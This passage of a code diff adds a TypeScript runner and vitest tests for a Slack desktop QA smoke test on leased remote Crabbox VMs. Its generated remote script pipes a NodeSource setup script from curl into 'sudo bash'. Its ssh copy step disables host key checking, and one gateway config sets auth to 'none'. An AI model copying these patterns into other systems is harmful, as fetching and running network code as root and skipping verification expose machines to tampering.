await fs.writeFile(reportPath, renderReport(summary), "utf8");
}
if (summary?.status === "pass" && createdLease && leaseId && !keepLease) {
await stopCrabbox({ crabboxBin, cwd: repoRoot, env, leaseId, provider, runner });
}
}
}

View File

@@ -0,0 +1,241 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { runMantisSlackDesktopSmoke } from "./slack-desktop-smoke.runtime.js";
describe("mantis Slack desktop smoke runtime", () => {
let repoRoot: string;
beforeEach(async () => {
repoRoot = await fs.mkdtemp(path.join(os.tmpdir(), "mantis-slack-desktop-smoke-"));
});
afterEach(async () => {
await fs.rm(repoRoot, { force: true, recursive: true });
});
it("leases a desktop box, runs Slack QA inside it, copies artifacts, and stops on pass", async () => {
const commands: { args: readonly string[]; command: string; env?: NodeJS.ProcessEnv }[] = [];
const runtimeEnv = {
PATH: process.env.PATH,
OPENAI_API_KEY: "openai-runtime-key",
OPENCLAW_QA_SLACK_CHANNEL_ID: "C123",
OPENCLAW_QA_SLACK_DRIVER_BOT_TOKEN: "driver-token",
OPENCLAW_QA_SLACK_SUT_APP_TOKEN: "app-token",
OPENCLAW_QA_SLACK_SUT_BOT_TOKEN: "sut-token",
};
const runner = vi.fn(
async (command: string, args: readonly string[], options: { env?: NodeJS.ProcessEnv }) => {
commands.push({ command, args, env: options.env });
if (command === "/tmp/crabbox" && args[0] === "warmup") {
return { stdout: "ready lease cbx_abc123\n", stderr: "" };
}
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "cbx_abc123",
provider: "hetzner",
slug: "bright-mantis",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
state: "active",
})}\n`,
stderr: "",
};
}
if (command === "rsync") {
const outputDir = args.at(-1);
expect(outputDir).toBeTypeOf("string");
await fs.mkdir(outputDir as string, { recursive: true });
if (String(outputDir).endsWith("slack-qa/")) {
await fs.writeFile(path.join(outputDir as string, "slack-qa-report.md"), "# Slack\n");
} else {
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
}
return { stdout: "", stderr: "" };
}
return { stdout: "", stderr: "" };
},
);
const result = await runMantisSlackDesktopSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
env: runtimeEnv,
now: () => new Date("2026-05-04T13:00:00.000Z"),
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-test",
primaryModel: "openai/gpt-5.4",
repoRoot,
scenarioIds: ["slack-canary"],
slackUrl: "https://app.slack.com/client/T123/C123",
});
expect(result.status).toBe("pass");
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
["/tmp/crabbox", "warmup"],
["/tmp/crabbox", "inspect"],
["/tmp/crabbox", "run"],
["rsync", "-az"],
["rsync", "-az"],
["/tmp/crabbox", "stop"],
]);
expect(
commands.every((entry) => entry.env?.OPENCLAW_LIVE_OPENAI_KEY === "openai-runtime-key"),
).toBe(true);
const runArgs = commands.find(
(entry) => entry.command === "/tmp/crabbox" && entry.args[0] === "run",
)?.args;
expect(runArgs).not.toContain("--no-sync");
const remoteScript = runArgs?.at(-1);
expect(remoteScript).toContain("${BROWSER:-}");
expect(remoteScript).toContain("${CHROME_BIN:-}");
expect(remoteScript).toContain("pnpm install --frozen-lockfile");
expect(remoteScript).toContain("pnpm build");
expect(remoteScript).toContain("openclaw qa slack");
expect(remoteScript).toContain("--scenario 'slack-canary'");
expect(remoteScript).toContain("OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR");
const rsyncArgs = commands
.filter((entry) => entry.command === "rsync")
.flatMap((entry) => entry.args);
expect(rsyncArgs).not.toContain("--delete");
expect(rsyncArgs).toEqual(
expect.arrayContaining([
"crabbox@203.0.113.10:/tmp/openclaw-mantis-slack-desktop-2026-05-04T13-00-00-000Z/slack-desktop-smoke.png",
"crabbox@203.0.113.10:/tmp/openclaw-mantis-slack-desktop-2026-05-04T13-00-00-000Z/slack-qa/",
]),
);
await expect(fs.readFile(result.screenshotPath ?? "", "utf8")).resolves.toBe("png");
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
crabbox: { id: string; vncCommand: string };
status: string;
};
expect(summary).toMatchObject({
crabbox: {
id: "cbx_abc123",
vncCommand: "/tmp/crabbox vnc --provider hetzner --id cbx_abc123 --open",
},
status: "pass",
});
});
it("copies the screenshot before reporting a failed remote Slack QA run", async () => {
const runner = vi.fn(async (command: string, args: readonly string[]) => {
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "cbx_existing",
provider: "hetzner",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
})}\n`,
stderr: "",
};
}
if (command === "/tmp/crabbox" && args[0] === "run") {
throw new Error("remote Slack QA failed");
}
if (command === "rsync") {
const outputDir = args.at(-1);
await fs.mkdir(outputDir as string, { recursive: true });
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
}
return { stdout: "", stderr: "" };
});
const result = await runMantisSlackDesktopSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
leaseId: "cbx_existing",
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-fail",
repoRoot,
});
expect(result.status).toBe("fail");
expect(result.screenshotPath).toBe(path.join(result.outputDir, "slack-desktop-smoke.png"));
await expect(
fs.readFile(path.join(result.outputDir, "slack-desktop-smoke.png"), "utf8"),
).resolves.toBe("png");
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
artifacts: { screenshotPath?: string };
error?: string;
status: string;
};
expect(summary.status).toBe("fail");
expect(summary.error).toContain("remote Slack QA failed");
expect(summary.artifacts.screenshotPath).toContain("slack-desktop-smoke.png");
});
it("accepts Blacksmith Testbox lease ids from Crabbox warmup", async () => {
const commands: { args: readonly string[]; command: string }[] = [];
const runner = vi.fn(async (command: string, args: readonly string[]) => {
commands.push({ command, args });
if (command === "/tmp/crabbox" && args[0] === "warmup") {
return { stdout: "ready: tbx_abc-123_more\n", stderr: "" };
}
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "tbx_abc-123_more",
provider: "blacksmith-testbox",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
state: "active",
})}\n`,
stderr: "",
};
}
if (command === "rsync") {
const outputDir = args.at(-1);
await fs.mkdir(outputDir as string, { recursive: true });
if (String(outputDir).endsWith("slack-qa/")) {
await fs.writeFile(path.join(outputDir as string, "slack-qa-report.md"), "# Slack\n");
} else {
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
}
}
return { stdout: "", stderr: "" };
});
const result = await runMantisSlackDesktopSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
now: () => new Date("2026-05-04T13:30:00.000Z"),
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-testbox",
provider: "blacksmith-testbox",
repoRoot,
});
expect(result.status).toBe("pass");
expect(commands).toEqual(
expect.arrayContaining([
expect.objectContaining({
args: expect.arrayContaining(["--id", "tbx_abc-123_more"]),
command: "/tmp/crabbox",
}),
]),
);
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
crabbox: { id: string; provider: string };
};
expect(summary.crabbox).toMatchObject({
id: "tbx_abc-123_more",
provider: "blacksmith-testbox",
});
});
});

View File

@@ -0,0 +1,785 @@
import { spawn, type SpawnOptions } from "node:child_process";
import fs from "node:fs/promises";
import path from "node:path";
import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime";
import { ensureRepoBoundDirectory, resolveRepoRelativeOutputDir } from "../cli-paths.js";
export type MantisSlackDesktopSmokeOptions = {
alternateModel?: string;
commandRunner?: CommandRunner;
crabboxBin?: string;
credentialRole?: string;
credentialSource?: string;
env?: NodeJS.ProcessEnv;
fastMode?: boolean;
gatewaySetup?: boolean;
idleTimeout?: string;
keepLease?: boolean;
leaseId?: string;
machineClass?: string;
now?: () => Date;
outputDir?: string;
primaryModel?: string;
provider?: string;
providerMode?: string;
repoRoot?: string;
scenarioIds?: string[];
slackChannelId?: string;
slackUrl?: string;
ttl?: string;
};
export type MantisSlackDesktopSmokeResult = {
outputDir: string;
reportPath: string;
screenshotPath?: string;
status: "pass" | "fail";
summaryPath: string;
};
type CommandResult = {
stderr: string;
stdout: string;
};
type CommandRunner = (
command: string,
args: readonly string[],
options: SpawnOptions,
) => Promise<CommandResult>;
type CrabboxInspect = {
host?: string;
id?: string;
provider?: string;
ready?: boolean;
slug?: string;
sshKey?: string;
sshPort?: string;
sshUser?: string;
state?: string;
};
type MantisSlackDesktopSmokeSummary = {
artifacts: {
reportPath: string;
screenshotPath?: string;
slackQaDir?: string;
summaryPath: string;
};
crabbox: {
bin: string;
createdLease: boolean;
id: string;
provider: string;
slug?: string;
state?: string;
vncCommand: string;
};
error?: string;
finishedAt: string;
outputDir: string;
remoteOutputDir: string;
slackUrl?: string;
startedAt: string;
status: "pass" | "fail";
};
const DEFAULT_PROVIDER = "hetzner";
const DEFAULT_CLASS = "beast";
const DEFAULT_IDLE_TIMEOUT = "90m";
const DEFAULT_TTL = "180m";
const DEFAULT_CREDENTIAL_SOURCE = "env";
const DEFAULT_CREDENTIAL_ROLE = "maintainer";
const DEFAULT_PROVIDER_MODE = "live-frontier";
const DEFAULT_MODEL = "openai/gpt-5.4";
const DEFAULT_SLACK_CHANNEL_ID = "C0AUXUC5AGN";
const CRABBOX_BIN_ENV = "OPENCLAW_MANTIS_CRABBOX_BIN";
const CRABBOX_PROVIDER_ENV = "OPENCLAW_MANTIS_CRABBOX_PROVIDER";
const CRABBOX_CLASS_ENV = "OPENCLAW_MANTIS_CRABBOX_CLASS";
const CRABBOX_LEASE_ID_ENV = "OPENCLAW_MANTIS_CRABBOX_LEASE_ID";
const CRABBOX_KEEP_ENV = "OPENCLAW_MANTIS_KEEP_VM";
const CRABBOX_IDLE_TIMEOUT_ENV = "OPENCLAW_MANTIS_CRABBOX_IDLE_TIMEOUT";
const CRABBOX_TTL_ENV = "OPENCLAW_MANTIS_CRABBOX_TTL";
const SLACK_URL_ENV = "OPENCLAW_MANTIS_SLACK_URL";
const SLACK_CHANNEL_ID_ENV = "OPENCLAW_MANTIS_SLACK_CHANNEL_ID";
function trimToValue(value: string | undefined) {
const trimmed = value?.trim();
return trimmed && trimmed.length > 0 ? trimmed : undefined;
}
function isTruthyOptIn(value: string | undefined) {
const normalized = value?.trim().toLowerCase();
return normalized === "1" || normalized === "true" || normalized === "yes";
}
function defaultOutputDir(repoRoot: string, startedAt: Date) {
const stamp = startedAt.toISOString().replace(/[:.]/gu, "-");
return path.join(repoRoot, ".artifacts", "qa-e2e", "mantis", `slack-desktop-${stamp}`);
}
async function defaultCommandRunner(
command: string,
args: readonly string[],
options: SpawnOptions,
): Promise<CommandResult> {
return new Promise((resolve, reject) => {
const child = spawn(command, args, {
...options,
stdio: ["ignore", "pipe", "pipe"],
});
let stdout = "";
let stderr = "";
child.stdout?.on("data", (chunk: Buffer) => {
const text = chunk.toString();
stdout += text;
if (options.stdio === "inherit") {
process.stdout.write(text);
}
});
child.stderr?.on("data", (chunk: Buffer) => {
const text = chunk.toString();
stderr += text;
if (options.stdio === "inherit") {
process.stderr.write(text);
}
});
child.on("error", reject);
child.on("close", (code, signal) => {
if (code === 0) {
resolve({ stdout, stderr });
return;
}
const detail = signal ? `signal ${signal}` : `exit code ${code ?? "unknown"}`;
reject(new Error(`${command} ${args.join(" ")} failed with ${detail}`));
});
});
}
async function pathExists(filePath: string) {
try {
await fs.access(filePath);
return true;
} catch {
return false;
}
}
async function resolveCrabboxBin(params: {
env: NodeJS.ProcessEnv;
explicit?: string;
repoRoot: string;
}) {
const configured = trimToValue(params.explicit) ?? trimToValue(params.env[CRABBOX_BIN_ENV]);
if (configured) {
return configured;
}
const sibling = path.resolve(params.repoRoot, "../crabbox/bin/crabbox");
if (await pathExists(sibling)) {
return sibling;
}
return "crabbox";
}
function buildCrabboxEnv(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv {
const next = {
...env,
};
if (!trimToValue(next.OPENCLAW_LIVE_OPENAI_KEY) && trimToValue(next.OPENAI_API_KEY)) {
next.OPENCLAW_LIVE_OPENAI_KEY = next.OPENAI_API_KEY;
}
if (!trimToValue(next.OPENCLAW_MANTIS_SLACK_BOT_TOKEN) && trimToValue(next.SLACK_BOT_TOKEN)) {
next.OPENCLAW_MANTIS_SLACK_BOT_TOKEN = next.SLACK_BOT_TOKEN;
}
if (!trimToValue(next.OPENCLAW_MANTIS_SLACK_APP_TOKEN) && trimToValue(next.SLACK_APP_TOKEN)) {
next.OPENCLAW_MANTIS_SLACK_APP_TOKEN = next.SLACK_APP_TOKEN;
}
return next;
}
function extractLeaseId(output: string) {
return output.match(/\b(?:cbx_[a-f0-9]+|tbx_[A-Za-z0-9_-]+)\b/u)?.[0];
}
function shellQuote(value: string) {
return `'${value.replaceAll("'", "'\\''")}'`;
}
function renderRemoteScript(params: {
alternateModel: string;
credentialRole: string;
credentialSource: string;
fastMode: boolean;
primaryModel: string;
providerMode: string;
remoteOutputDir: string;
scenarioIds: readonly string[];
setupGateway: boolean;
slackChannelId: string;
slackUrl?: string;
}) {
const shellOutputDir = shellQuote(params.remoteOutputDir);
const slackUrl = shellQuote(params.slackUrl ?? "");
const credentialSource = shellQuote(params.credentialSource);
const credentialRole = shellQuote(params.credentialRole);
const providerMode = shellQuote(params.providerMode);
const primaryModel = shellQuote(params.primaryModel);
const alternateModel = shellQuote(params.alternateModel);
const fastMode = params.fastMode ? "1" : "0";
const setupGateway = params.setupGateway ? "1" : "0";
const slackChannelId = shellQuote(params.slackChannelId);
const scenarioArgs = params.scenarioIds.flatMap((id) => ["--scenario", shellQuote(id)]).join(" ");
return `set -euo pipefail
out=${shellOutputDir}
slack_url_override=${slackUrl}
credential_source=${credentialSource}
credential_role=${credentialRole}
provider_mode=${providerMode}
primary_model=${primaryModel}
alternate_model=${alternateModel}
fast_mode=${fastMode}
setup_gateway=${setupGateway}
slack_channel_id=${slackChannelId}
rm -rf "$out"
mkdir -p "$out"
export DISPLAY="\${DISPLAY:-:99}"
if [ -n "\${OPENCLAW_LIVE_OPENAI_KEY:-}" ] && [ -z "\${OPENAI_API_KEY:-}" ]; then
export OPENAI_API_KEY="$OPENCLAW_LIVE_OPENAI_KEY"
fi
if ! command -v node >/dev/null 2>&1; then
sudo apt-get update -y >"$out/node-apt.log" 2>&1
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash - >>"$out/node-apt.log" 2>&1
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs >>"$out/node-apt.log" 2>&1
fi
if ! command -v scrot >/dev/null 2>&1; then
sudo apt-get update -y >"$out/apt.log" 2>&1
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y scrot >>"$out/apt.log" 2>&1
fi
browser_bin=""
for candidate in "\${BROWSER:-}" "\${CHROME_BIN:-}" google-chrome chromium chromium-browser; do
if [ -n "$candidate" ] && command -v "$candidate" >/dev/null 2>&1; then
browser_bin="$(command -v "$candidate")"
break
fi
done
if [ -z "$browser_bin" ]; then
echo "No browser binary found. Checked BROWSER, CHROME_BIN, google-chrome, chromium, chromium-browser." >&2
exit 127
fi
team_id="\${OPENCLAW_QA_SLACK_TEAM_ID:-}"
auth_test_token="\${OPENCLAW_QA_SLACK_SUT_BOT_TOKEN:-\${OPENCLAW_MANTIS_SLACK_BOT_TOKEN:-}}"
if [ -z "$slack_url_override" ] && [ -z "$team_id" ] && [ -n "$auth_test_token" ]; then
node --input-type=module >"$out/slack-auth-test.json" 2>"$out/slack-auth-test.err" <<'MANTIS_SLACK_AUTH'
const token = process.env.OPENCLAW_QA_SLACK_SUT_BOT_TOKEN || process.env.OPENCLAW_MANTIS_SLACK_BOT_TOKEN;
const response = await fetch("https://slack.com/api/auth.test", {
method: "POST",
headers: { authorization: \`Bearer \${token}\` },
});
const body = await response.json();
process.stdout.write(JSON.stringify({ ok: body.ok, team_id: body.team_id, user_id: body.user_id }));
if (!body.ok) process.exit(1);
MANTIS_SLACK_AUTH
team_id="$(node --input-type=module -e 'import fs from "node:fs"; const value = JSON.parse(fs.readFileSync(process.argv[1], "utf8")); process.stdout.write(value.team_id || "");' "$out/slack-auth-test.json" || true)"
fi
slack_url="$slack_url_override"
if [ -z "$slack_url" ] && [ -n "$team_id" ] && [ -n "\${OPENCLAW_QA_SLACK_CHANNEL_ID:-}" ]; then
slack_url="https://app.slack.com/client/$team_id/$OPENCLAW_QA_SLACK_CHANNEL_ID"
fi
profile="\${OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR:-$HOME/.config/openclaw-mantis/slack-chrome-profile}"
mkdir -p "$profile"
if [ "$setup_gateway" = "1" ]; then
export SLACK_BOT_TOKEN="\${OPENCLAW_MANTIS_SLACK_BOT_TOKEN:-\${SLACK_BOT_TOKEN:-}}"
export SLACK_APP_TOKEN="\${OPENCLAW_MANTIS_SLACK_APP_TOKEN:-\${SLACK_APP_TOKEN:-}}"
if [ -z "$SLACK_BOT_TOKEN" ] || [ -z "$SLACK_APP_TOKEN" ]; then
echo "Gateway setup requires OPENCLAW_MANTIS_SLACK_BOT_TOKEN and OPENCLAW_MANTIS_SLACK_APP_TOKEN." >&2
exit 2
fi
if [ -z "$slack_url" ] && [ -n "$team_id" ]; then
slack_url="https://app.slack.com/client/$team_id/$slack_channel_id"
fi
fi
if [ -z "$slack_url" ]; then
slack_url="https://app.slack.com/client"
fi
if [ "$setup_gateway" = "1" ]; then
nohup "$browser_bin" \
--user-data-dir="$profile" \
--no-first-run \
--no-default-browser-check \
--disable-dev-shm-usage \
--window-size=1440,1000 \
--window-position=0,0 \
--class=mantis-slack-desktop-smoke \
"$slack_url" >"$out/chrome.log" 2>&1 &
else
"$browser_bin" \
--user-data-dir="$profile" \
--no-first-run \
--no-default-browser-check \
--disable-dev-shm-usage \
--window-size=1440,1000 \
--window-position=0,0 \
--class=mantis-slack-desktop-smoke \
"$slack_url" >"$out/chrome.log" 2>&1 &
fi
chrome_pid=$!
qa_status=0
{
set -e
echo "remote pwd: $(pwd)"
sudo corepack enable || sudo npm install -g pnpm@10.33.2
pnpm install --frozen-lockfile
pnpm build
if [ "$setup_gateway" = "1" ]; then
export OPENCLAW_HOME="$HOME/.openclaw-mantis/slack-openclaw"
mkdir -p "$OPENCLAW_HOME"
cat >"$out/slack.socket.patch.json5" <<MANTIS_SLACK_PATCH
{
gateway: {
port: 38973,
auth: { mode: "none" },
},
channels: {
slack: {
enabled: true,
mode: "socket",
webhookPath: "/slack/events",
userTokenReadOnly: true,
appToken: { source: "env", provider: "default", id: "SLACK_APP_TOKEN" },
botToken: { source: "env", provider: "default", id: "SLACK_BOT_TOKEN" },
groupPolicy: "allowlist",
channels: {
"$slack_channel_id": {
enabled: true,
requireMention: true,
allowBots: true,
users: ["*"],
},
},
},
},
}
MANTIS_SLACK_PATCH
pnpm openclaw config patch --file "$out/slack.socket.patch.json5" --dry-run
pnpm openclaw config patch --file "$out/slack.socket.patch.json5"
nohup pnpm openclaw gateway run --dev --allow-unconfigured --port 38973 --cli-backend-logs >"$out/openclaw-gateway.log" 2>&1 &
echo "$!" >"$out/openclaw-gateway.pid"
sleep 12
else
qa_args=(openclaw qa slack --repo-root . --output-dir "$out/slack-qa" --provider-mode "$provider_mode" --model "$primary_model" --alt-model "$alternate_model" --credential-source "$credential_source" --credential-role "$credential_role")
if [ "$fast_mode" = "1" ]; then
qa_args+=(--fast)
fi
pnpm "\${qa_args[@]}" ${scenarioArgs}
fi
} >"$out/slack-desktop-command.log" 2>&1 || qa_status=$?
sleep 5
scrot "$out/slack-desktop-smoke.png" || true
if [ "$setup_gateway" != "1" ]; then
kill "$chrome_pid" >/dev/null 2>&1 || true
fi
cat >"$out/remote-metadata.json" <<MANTIS_REMOTE_METADATA
{
"browserBinary": "$browser_bin",
"browserProfile": "$profile",
"display": "$DISPLAY",
"openedUrl": "$slack_url",
"gatewaySetup": $setup_gateway,
"gatewayPort": 38973,
"qaExitCode": $qa_status,
"credentialSource": "$credential_source",
"credentialRole": "$credential_role",
"providerMode": "$provider_mode",
"capturedAt": "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
}
MANTIS_REMOTE_METADATA
test -s "$out/slack-desktop-smoke.png"
exit "$qa_status"
`;
}
function renderReport(summary: MantisSlackDesktopSmokeSummary) {
const lines = [
"# Mantis Slack Desktop Smoke",
"",
`Status: ${summary.status}`,
summary.slackUrl ? `Slack URL: ${summary.slackUrl}` : undefined,
`Output: ${summary.outputDir}`,
`Started: ${summary.startedAt}`,
`Finished: ${summary.finishedAt}`,
"",
"## Crabbox",
"",
`- Provider: ${summary.crabbox.provider}`,
`- Lease: ${summary.crabbox.id}${summary.crabbox.slug ? ` (${summary.crabbox.slug})` : ""}`,
`- Created by run: ${summary.crabbox.createdLease}`,
`- State: ${summary.crabbox.state ?? "unknown"}`,
`- VNC: \`${summary.crabbox.vncCommand}\``,
"",
"## Artifacts",
"",
summary.artifacts.screenshotPath
? `- Screenshot: \`${path.basename(summary.artifacts.screenshotPath)}\``
: "- Screenshot: missing",
summary.artifacts.slackQaDir ? "- Slack QA artifacts: `slack-qa/`" : undefined,
"- Remote metadata: `remote-metadata.json`",
"- Remote command log: `slack-desktop-command.log`",
"- Chrome log: `chrome.log`",
summary.error ? `- Error: ${summary.error}` : undefined,
"",
].filter((line) => line !== undefined);
return `${lines.join("\n")}\n`;
}
async function runCommand(params: {
args: readonly string[];
command: string;
cwd: string;
env: NodeJS.ProcessEnv;
runner: CommandRunner;
stdio?: "inherit" | "pipe";
}) {
return params.runner(params.command, params.args, {
cwd: params.cwd,
env: params.env,
stdio: params.stdio ?? "pipe",
});
}
async function warmupCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
idleTimeout: string;
machineClass: string;
provider: string;
runner: CommandRunner;
ttl: string;
}) {
const result = await runCommand({
command: params.crabboxBin,
args: [
"warmup",
"--provider",
params.provider,
"--desktop",
"--browser",
"--class",
params.machineClass,
"--idle-timeout",
params.idleTimeout,
"--ttl",
params.ttl,
],
cwd: params.cwd,
env: params.env,
runner: params.runner,
stdio: "inherit",
});
const leaseId = extractLeaseId(`${result.stdout}\n${result.stderr}`);
if (!leaseId) {
throw new Error("Crabbox warmup did not print a lease id.");
}
return leaseId;
}
async function inspectCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
leaseId: string;
provider: string;
runner: CommandRunner;
}) {
const result = await runCommand({
command: params.crabboxBin,
args: ["inspect", "--provider", params.provider, "--id", params.leaseId, "--json"],
cwd: params.cwd,
env: params.env,
runner: params.runner,
});
return JSON.parse(result.stdout) as CrabboxInspect;
}
function sshCommand(params: { inspect: CrabboxInspect }) {
const { host, sshKey, sshPort, sshUser } = params.inspect;
if (!host || !sshKey || !sshUser) {
throw new Error("Crabbox inspect output is missing SSH copy details.");
}
return {
host,
sshUser,
sshArgs: [
"ssh",
"-i",
shellQuote(sshKey),
"-p",
sshPort ?? "22",
"-o",
"BatchMode=yes",
"-o",
"ConnectTimeout=15",
"-o",
"StrictHostKeyChecking=no",
"-o",
"UserKnownHostsFile=/dev/null",
].join(" "),
};
}
async function copyRemoteArtifacts(params: {
cwd: string;
env: NodeJS.ProcessEnv;
inspect: CrabboxInspect;
outputDir: string;
remoteOutputDir: string;
runner: CommandRunner;
}) {
const { host, sshArgs, sshUser } = sshCommand({ inspect: params.inspect });
await fs.mkdir(path.join(params.outputDir, "slack-qa"), { recursive: true });
await runCommand({
command: "rsync",
args: [
"-az",
"-e",
sshArgs,
`${sshUser}@${host}:${params.remoteOutputDir}/slack-desktop-smoke.png`,
`${sshUser}@${host}:${params.remoteOutputDir}/remote-metadata.json`,
`${sshUser}@${host}:${params.remoteOutputDir}/chrome.log`,
`${sshUser}@${host}:${params.remoteOutputDir}/slack-desktop-command.log`,
`${params.outputDir}/`,
],
cwd: params.cwd,
env: params.env,
runner: params.runner,
});
await runCommand({
command: "rsync",
args: [
"-az",
"-e",
sshArgs,
`${sshUser}@${host}:${params.remoteOutputDir}/slack-qa/`,
`${path.join(params.outputDir, "slack-qa")}/`,
],
cwd: params.cwd,
env: params.env,
runner: params.runner,
}).catch(() => ({ stdout: "", stderr: "" }));
}
async function stopCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
leaseId: string;
provider: string;
runner: CommandRunner;
}) {
await runCommand({
command: params.crabboxBin,
args: ["stop", "--provider", params.provider, params.leaseId],
cwd: params.cwd,
env: params.env,
runner: params.runner,
stdio: "inherit",
});
}
export async function runMantisSlackDesktopSmoke(
opts: MantisSlackDesktopSmokeOptions = {},
): Promise<MantisSlackDesktopSmokeResult> {
const env = buildCrabboxEnv(opts.env ?? process.env);
const startedAt = (opts.now ?? (() => new Date()))();
const repoRoot = path.resolve(opts.repoRoot ?? process.cwd());
const outputDir = await ensureRepoBoundDirectory(
repoRoot,
resolveRepoRelativeOutputDir(repoRoot, opts.outputDir) ?? defaultOutputDir(repoRoot, startedAt),
"Mantis Slack desktop smoke output directory",
{ mode: 0o755 },
);
const summaryPath = path.join(outputDir, "mantis-slack-desktop-smoke-summary.json");
const reportPath = path.join(outputDir, "mantis-slack-desktop-smoke-report.md");
const crabboxBin = await resolveCrabboxBin({ env, explicit: opts.crabboxBin, repoRoot });
const provider =
trimToValue(opts.provider) ?? trimToValue(env[CRABBOX_PROVIDER_ENV]) ?? DEFAULT_PROVIDER;
const machineClass =
trimToValue(opts.machineClass) ?? trimToValue(env[CRABBOX_CLASS_ENV]) ?? DEFAULT_CLASS;
const idleTimeout =
trimToValue(opts.idleTimeout) ??
trimToValue(env[CRABBOX_IDLE_TIMEOUT_ENV]) ??
DEFAULT_IDLE_TIMEOUT;
const ttl = trimToValue(opts.ttl) ?? trimToValue(env[CRABBOX_TTL_ENV]) ?? DEFAULT_TTL;
const credentialSource = trimToValue(opts.credentialSource) ?? DEFAULT_CREDENTIAL_SOURCE;
const credentialRole = trimToValue(opts.credentialRole) ?? DEFAULT_CREDENTIAL_ROLE;
const providerMode = trimToValue(opts.providerMode) ?? DEFAULT_PROVIDER_MODE;
const primaryModel = trimToValue(opts.primaryModel) ?? DEFAULT_MODEL;
const alternateModel = trimToValue(opts.alternateModel) ?? primaryModel;
const fastMode = opts.fastMode ?? true;
const gatewaySetup = opts.gatewaySetup ?? false;
const scenarioIds = opts.scenarioIds ?? [];
const slackChannelId =
trimToValue(opts.slackChannelId) ??
trimToValue(env[SLACK_CHANNEL_ID_ENV]) ??
trimToValue(env.OPENCLAW_QA_SLACK_CHANNEL_ID) ??
DEFAULT_SLACK_CHANNEL_ID;
const slackUrl = trimToValue(opts.slackUrl) ?? trimToValue(env[SLACK_URL_ENV]);
const runner = opts.commandRunner ?? defaultCommandRunner;
const explicitLeaseId = trimToValue(opts.leaseId) ?? trimToValue(env[CRABBOX_LEASE_ID_ENV]);
const keepLease = opts.keepLease ?? (gatewaySetup || isTruthyOptIn(env[CRABBOX_KEEP_ENV]));
const createdLease = explicitLeaseId === undefined;
const remoteOutputDir = `/tmp/openclaw-mantis-slack-desktop-${startedAt
.toISOString()
.replace(/[^0-9A-Za-z]/gu, "-")}`;
let leaseId = explicitLeaseId;
let summary: MantisSlackDesktopSmokeSummary | undefined;
let screenshotPath: string | undefined;
let slackQaDir: string | undefined;
try {
leaseId =
leaseId ??
(await warmupCrabbox({
crabboxBin,
cwd: repoRoot,
env,
idleTimeout,
machineClass,
provider,
runner,
ttl,
}));
const inspected = await inspectCrabbox({
crabboxBin,
cwd: repoRoot,
env,
leaseId,
provider,
runner,
});
let remoteRunError: unknown;
await runCommand({
command: crabboxBin,
args: [
"run",
"--provider",
provider,
"--id",
leaseId,
"--desktop",
"--browser",
"--shell",
"--",
renderRemoteScript({
alternateModel,
credentialRole,
credentialSource,
fastMode,
primaryModel,
providerMode,
remoteOutputDir,
scenarioIds,
setupGateway: gatewaySetup,
slackChannelId,
slackUrl,
}),
],
cwd: repoRoot,
env,
runner,
stdio: "inherit",
}).catch((error: unknown) => {
remoteRunError = error;
return { stdout: "", stderr: "" };
});
await copyRemoteArtifacts({
cwd: repoRoot,
env,
inspect: inspected,
outputDir,
remoteOutputDir,
runner,
});
screenshotPath = path.join(outputDir, "slack-desktop-smoke.png");
slackQaDir = path.join(outputDir, "slack-qa");
if (!(await pathExists(screenshotPath))) {
throw new Error("Slack desktop screenshot was not copied back from Crabbox.");
}
if (remoteRunError) {
throw remoteRunError;
}
summary = {
artifacts: {
reportPath,
screenshotPath,
slackQaDir,
summaryPath,
},
crabbox: {
bin: crabboxBin,
createdLease,
id: leaseId,
provider,
slug: inspected.slug,
state: inspected.state,
vncCommand: `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`,
},
finishedAt: new Date().toISOString(),
outputDir,
